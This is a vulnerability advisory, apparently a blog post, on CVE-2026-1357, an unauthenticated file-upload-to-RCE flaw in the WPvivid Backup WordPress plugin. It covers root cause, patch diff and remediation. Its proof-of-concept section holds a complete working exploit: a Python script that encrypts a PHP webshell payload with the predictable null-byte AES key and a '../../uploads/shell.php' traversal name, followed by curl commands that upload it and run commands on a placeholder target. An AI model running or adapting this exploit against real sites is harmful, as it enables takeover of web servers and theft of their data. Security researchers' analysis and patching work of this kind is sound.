CVE-2026-1357: Unauthenticated RCE in WPvivid Backup Plugin (CVSS 9.8)

CVE-2026-1357: Unauthenticated RCE in WPvivid Backup Plugin (CVSS 9.8)

CVE-2026-1357 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Migration, Backup, Staging – WPvivid Backup & Migration WordPress plugin. By chaining a silent RSA decryption failure with an unsanitized filename, any unauthenticated attacker can upload arbitrary PHP files to publicly accessible directories and achieve full Remote Code Execution on the target web server — no login required. Wordfence blocked 2,717 attacks targeting this vulnerability within the first 24 hours of disclosure.

Vulnerability Summary

FieldValue
Plugin NameMigration, Backup, Staging – WPvivid Backup & Migration
Plugin Slugwpvivid-backuprestore
CVE IDCVE-2026-1357
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload → Remote Code Execution
Affected Versions<= 0.9.123
Patched Version0.9.124
PublishedFebruary 10, 2026
ResearcherLucas Montes (NiRoX)
Wordfence AdvisoryLink

Description

The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Upload in versions up to and including 0.9.123. This is due to improper error handling in the RSA decryption process combined with a lack of path sanitization when writing uploaded files. When the plugin fails to decrypt a session key using openssl_private_decrypt(), it does not terminate execution and instead passes the boolean false value to the phpseclib library’s AES cipher initialization. The library treats this false value as a string of null bytes, allowing an attacker to encrypt a malicious payload using a predictable null-byte key. Additionally, the plugin accepts filenames from the decrypted payload without sanitization, enabling directory traversal to escape the protected backup directory. This makes it possible for unauthenticated attackers to upload arbitrary PHP files to publicly accessible directories and achieve Remote Code Execution via the wpvivid_action=send_to_site parameter.

Wordfence blocked 2,717 attacks targeting this vulnerability in the first 24 hours after disclosure.


Technical Analysis

Architecture: The Transfer Protocol

The plugin implements a site-to-site migration feature. The destination site generates an RSA-2048 key pair and stores it in the wpvivid_api_token WordPress option:

File: includes/class-wpvivid-migrate.php (lines 955–966)

$key_size = 2048;
$rsa = new Crypt_RSA();
$keys = $rsa->createKey($key_size);
$options['public_key'] = base64_encode($keys['publickey']);
$options['private_key'] = base64_encode($keys['privatekey']);
$options['expires'] = $expires;
$options['domain'] = home_url();

WPvivid_Setting::update_option('wpvivid_api_token', $options);

$url = $options['domain'];
$url = $url . '?domain=' . $options['domain'] . '&token=' . $options['public_key'] . '&expires=' . $expires;

The admin shares this URL with the source site. The source encrypts backup data using the public key and POSTs it to the destination. The destination decrypts using the stored private key.

Hook Registration: No Authentication Required

File: includes/customclass/class-wpvivid-send-to-site.php (lines 25, 36–62)

// Constructor — registered for ALL requests
add_action('plugins_loaded', array($this, 'plugins_loaded'));

public function plugins_loaded()
{
    if (!empty($_POST) && isset($_POST['wpvivid_action']))
    {
        if ($_POST['wpvivid_action'] == 'send_to_site_connect') {
            $this->send_to_site_connect();
        }
        else if ($_POST['wpvivid_action'] == 'send_to_site') {
            $this->send_to_site();        // <-- VULNERABLE HANDLER
        }
        // ... other handlers
        die();
    }
}

The handler fires on the plugins_loaded hook — one of the earliest WordPress hooks, running before any authentication is checked. Any HTTP POST request to any WordPress URL with wpvivid_action=send_to_site in the body reaches this code without requiring authentication.

Vulnerable Code Path — Bug #1: RSA Decryption Failure Not Handled

File: includes/class-wpvivid-crypt.php (lines 47–63)

public function decrypt_message($message)
{
    $len = substr($message, 0, 3);
    $len = hexdec($len);
    $key = substr($message, 3, $len);

    $cipherlen = substr($message, ($len + 3), 16);
    $cipherlen = hexdec($cipherlen);

    $data = substr($message, ($len + 19), $cipherlen);

    $rsa = new Crypt_RSA();
    $rsa->loadKey($this->public_key);   // loads the RSA private key from the option
    $key = $rsa->decrypt($key);          // <-- returns false on failure; NOT CHECKED
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);                  // <-- setKey(false) = null-byte key!
    return $rij->decrypt($data);         // <-- decrypts with predictable null-byte key
}

When the RSA private key in wpvivid_api_token fails to decrypt the attacker-controlled ciphertext (which it will, because the attacker doesn’t have the RSA private key), Crypt_RSA::decrypt() returns false. This false is passed directly to Crypt_Rijndael::setKey().

The phpseclib 1.x Base::setKey() stores the raw value:

function setKey($key)
{
    if (!$this->explicit_key_length) {
        $this->setKeyLength(strlen($key) << 3);  // strlen(false) = 0 → key length = 0
        $this->explicit_key_length = false;
    }
    $this->key = $key;  // stores false
    $this->changed = true;
    $this->_setEngine();
}

With a key length of 0 (from strlen(false)), phpseclib falls back to its minimum AES key size and initializes with a key of all null bytes (\x00 × 16 or 32). The attacker can predict this behavior and construct a payload encrypted with the null-byte key.

Vulnerable Code Path — Bug #2: Path Traversal via Unsanitized Filename

File: includes/customclass/class-wpvivid-send-to-site.php (lines 628–666)

$dir = WPvivid_Setting::get_backupdir();  // e.g., "wpvivid-backuprestore"

// $params['name'] comes directly from attacker-controlled decrypted payload
$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
           . str_replace('wpvivid', 'wpvivid_temp', $params['name']);  // NO sanitization!

if (!file_exists($file_path)) {
    $handle = fopen($file_path, 'w');
    fclose($handle);
}

$handle = fopen($file_path, 'rb+');
$offset = $params['offset'];
if ($offset) {
    fseek($handle, $offset);
}

fwrite($handle, base64_decode($params['data']));  // writes attacker data!
fclose($handle);

if (filesize($file_path) >= $params['file_size']) {
    if (md5_file($file_path) == $params['md5']) {
        // Renames temp file to final path — ALSO unsanitized:
        rename($file_path,
            WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR . $params['name']);
    }
}

$params['name'] is consumed directly without calling basename() or stripping ../ sequences. The str_replace('wpvivid', 'wpvivid_temp', ...) call only modifies the word “wpvivid” in the string — it does not prevent directory traversal.

With $params['name'] = '../../uploads/shell.php':

Since wp-content/uploads/ is a web-accessible directory, the PHP shell becomes directly reachable via HTTP.

Root Cause

Two independent bugs chain together to create a critical unauthenticated RCE:

  1. Missing return-value check on RSA decryption (class-wpvivid-crypt.php:59): Crypt_RSA::decrypt() can return false, which should signal failure and abort. Instead it’s silently passed to the AES cipher, reducing the effective key to a predictable null-byte value that any attacker can replicate.

  2. Missing filename sanitization (class-wpvivid-send-to-site.php:630): $params['name'] from the attacker-controlled payload is used directly in file-system operations without basename() normalization or extension validation, enabling directory traversal and PHP file placement in web-accessible locations.

Why Existing Controls Failed

The plugin’s intended security model is:

Both protections are bypassed:

Attack Impact

An unauthenticated remote attacker can:

Prerequisite: The wpvivid_api_token option must be non-empty — meaning an administrator must have previously generated a migration token. This is a routine step for anyone who has ever used the plugin’s migration feature. If the token has expires=0 (“Never”), it remains valid indefinitely.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Craft the null-byte-key AES encrypted payload

Since RSA decryption will fail (we don’t have the private key) and phpseclib will fall back to a null-byte key, we encrypt our JSON payload using AES-Rijndael with a 16-byte null key:

#!/usr/bin/env python3
"""
PoC for CVE-2026-1357 - WPvivid Unauthenticated Arbitrary File Upload
Encrypts payload with null-byte AES key (the key phpseclib uses when RSA decryption fails)
"""
import base64
import struct
from Crypto.Cipher import AES

# The null-byte key phpseclib falls back to
NULL_KEY = b'\x00' * 16

# Our PHP webshell payload
SHELL_CONTENT = b'<?php system($_GET["cmd"]); ?>'

# Encode file data as base64 (as the plugin expects)
file_data_b64 = base64.b64encode(SHELL_CONTENT).decode()

# Build the JSON payload
# name uses path traversal to escape backup dir into uploads/
import json
payload = json.dumps({
    "backup_id": "attacker_backup_001",
    "name": "../../uploads/shell.php",   # path traversal
    "offset": 0,
    "data": file_data_b64,
    "file_size": len(SHELL_CONTENT),
    "md5": __import__('hashlib').md5(SHELL_CONTENT).hexdigest()
}).encode()

# Pad to AES block size (PKCS7)
pad_len = 16 - (len(payload) % 16)
payload_padded = payload + bytes([pad_len] * pad_len)

# Encrypt with null-byte AES key (ECB mode matches phpseclib Rijndael default)
cipher = AES.new(NULL_KEY, AES.MODE_ECB)
encrypted_payload = cipher.encrypt(payload_padded)

# Build the WPvivid message format:
# [3 hex bytes: RSA-encrypted-key length][RSA-encrypted-key (garbage)][16 hex bytes: cipher length][ciphertext]
fake_rsa_key = b'\x00' * 256  # 256 bytes garbage — RSA decryption will fail on this
key_len_hex = format(len(fake_rsa_key), '03x').encode()
cipher_len_hex = format(len(encrypted_payload), '016x').encode()

message = key_len_hex + fake_rsa_key + cipher_len_hex + encrypted_payload
wpvivid_content = base64.b64encode(message).decode()

print("wpvivid_content =", wpvivid_content[:100], "...")
print("Full value saved to payload.txt")
with open("payload.txt", "w") as f:
    f.write(wpvivid_content)

Step 2: Send the upload request

Replace https://target.example.com with the target WordPress URL. The request can be sent to any WordPress page — it is processed on plugins_loaded before routing.

PAYLOAD=$(cat payload.txt)
TARGET="https://target.example.com"

curl -s -X POST "$TARGET/" \
  -d "wpvivid_action=send_to_site" \
  -d "wpvivid_content=$PAYLOAD" \
  | python3 -m json.tool

Expected success response:

{
  "result": "success",
  "op": "finished"
}

Step 3: Verify remote code execution

curl -s "https://target.example.com/wp-content/uploads/shell.php?cmd=id"

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Expected Result

The attacker places a PHP webshell at wp-content/uploads/shell.php and achieves arbitrary command execution on the web server as the webserver user (www-data or similar).

Verification

  1. Check that wp-content/uploads/shell.php exists on the server filesystem
  2. Confirm the file contains <?php system($_GET["cmd"]); ?>
  3. Access the URL with ?cmd=id and verify OS command output is returned in the HTTP response

Patch Analysis

What Changed

FileChange
includes/class-wpvivid-crypt.phpAdded null/false check after RSA decryption
includes/customclass/class-wpvivid-send-to-site.phpAdded basename(), character allowlist, and extension allowlist for filename

Fix Explanation

The patch addresses both root causes:

Fix 1 — Fail-safe on RSA decryption failure (class-wpvivid-crypt.php):

+        if ($key === false || empty($key))
+        {
+            return false;
+        }
         $rij = new Crypt_Rijndael();
         $rij->setKey($key);

If RSA decryption fails (returns false), decrypt_message() now immediately returns false. The calling code in send_to_site() already checks if (!is_string($data)) and rejects non-string results — so this single guard causes a clean abort on any invalid RSA ciphertext.

Fix 2 — Filename sanitization (class-wpvivid-send-to-site.php):

-$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
-           . str_replace('wpvivid', 'wpvivid_temp', $params['name']);
+$safe_name = basename($params['name']);
+$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
+$allowed_extensions = array('zip', 'gz', 'tar', 'sql');
+$file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+if (!in_array($file_ext, $allowed_extensions, true)) {
+    $ret['result'] = WPVIVID_FAILED;
+    $ret['error'] = 'Invalid file type - only backup files allowed.';
+    echo wp_json_encode($ret);
+    die();
+}
+$file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
+           . str_replace('wpvivid', 'wpvivid_temp', $safe_name);

Three layers of defense:

  1. basename() strips all directory components, eliminating ../ traversal
  2. preg_replace('/[^a-zA-Z0-9._-]/', '', ...) removes any non-alphanumeric characters (except ., _, -)
  3. Extension allowlist (zip, gz, tar, sql) blocks PHP files even if the first two checks were somehow bypassed

The same fix is applied in two locations: send_to_site() (line 630) and the file-status handler (line 903).

Code Diff (Key Changes)

--- a/includes/class-wpvivid-crypt.php
+++ b/includes/class-wpvivid-crypt.php
@@ -57,6 +57,10 @@ class WPvivid_crypt
         $rsa = new Crypt_RSA();
         $rsa->loadKey($this->public_key);
         $key=$rsa->decrypt($key);
+        if ($key === false || empty($key))
+        {
+            return false;
+        }
         $rij = new Crypt_Rijndael();
         $rij->setKey($key);
         return $rij->decrypt($data);

--- a/includes/customclass/class-wpvivid-send-to-site.php
+++ b/includes/customclass/class-wpvivid-send-to-site.php
@@ -627,8 +627,18 @@ class WPvivid_Send_to_site extends WPvivid_Remote
-                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']);
+                $safe_name = basename($params['name']);
+                $safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);
+                $allowed_extensions = array('zip', 'gz', 'tar', 'sql');
+                $file_ext = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));
+                if (!in_array($file_ext, $allowed_extensions, true))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid file type - only backup files allowed.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid', 'wpvivid_temp', $safe_name);
@@ -663,3 +673,2 @@
-                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name']);
+                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$safe_name);

Residual Risk Assessment

The fix is complete and addresses the root cause of each bug. However, defenders should note:


Timeline

DateEvent
UnknownVulnerability discovered and reported by Lucas Montes (NiRoX)
February 10, 2026Publicly disclosed by Wordfence
February 11, 2026Advisory last updated
February 2026Patched version 0.9.124 released

Remediation

Update the wpvivid-backuprestore plugin to version 0.9.124 or later immediately.

If immediate update is not possible:

  1. Deactivate the plugin until the update can be applied
  2. Alternatively, delete the wpvivid_api_token option from the database (DELETE FROM wp_options WHERE option_name = 'wpvivid_api_token';) — this causes all send_to_site* handlers to exit early via if(empty($option)) { die(); }, mitigating the attack surface until the patch is applied

References

  1. https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/class-wpvivid-crypt.php#L58
  2. https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/class-wpvivid-crypt.php#L58
  3. https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/class-wpvivid-crypt.php#L58
  4. https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/trunk/includes/customclass/class-wpvivid-send-to-site.php#L629
  5. https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.122/includes/customclass/class-wpvivid-send-to-site.php#L629
  6. https://plugins.trac.wordpress.org/browser/wpvivid-backuprestore/tags/0.9.123/includes/customclass/class-wpvivid-send-to-site.php#L629
  7. https://plugins.trac.wordpress.org/changeset/3448386/wpvivid-backuprestore#file1

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee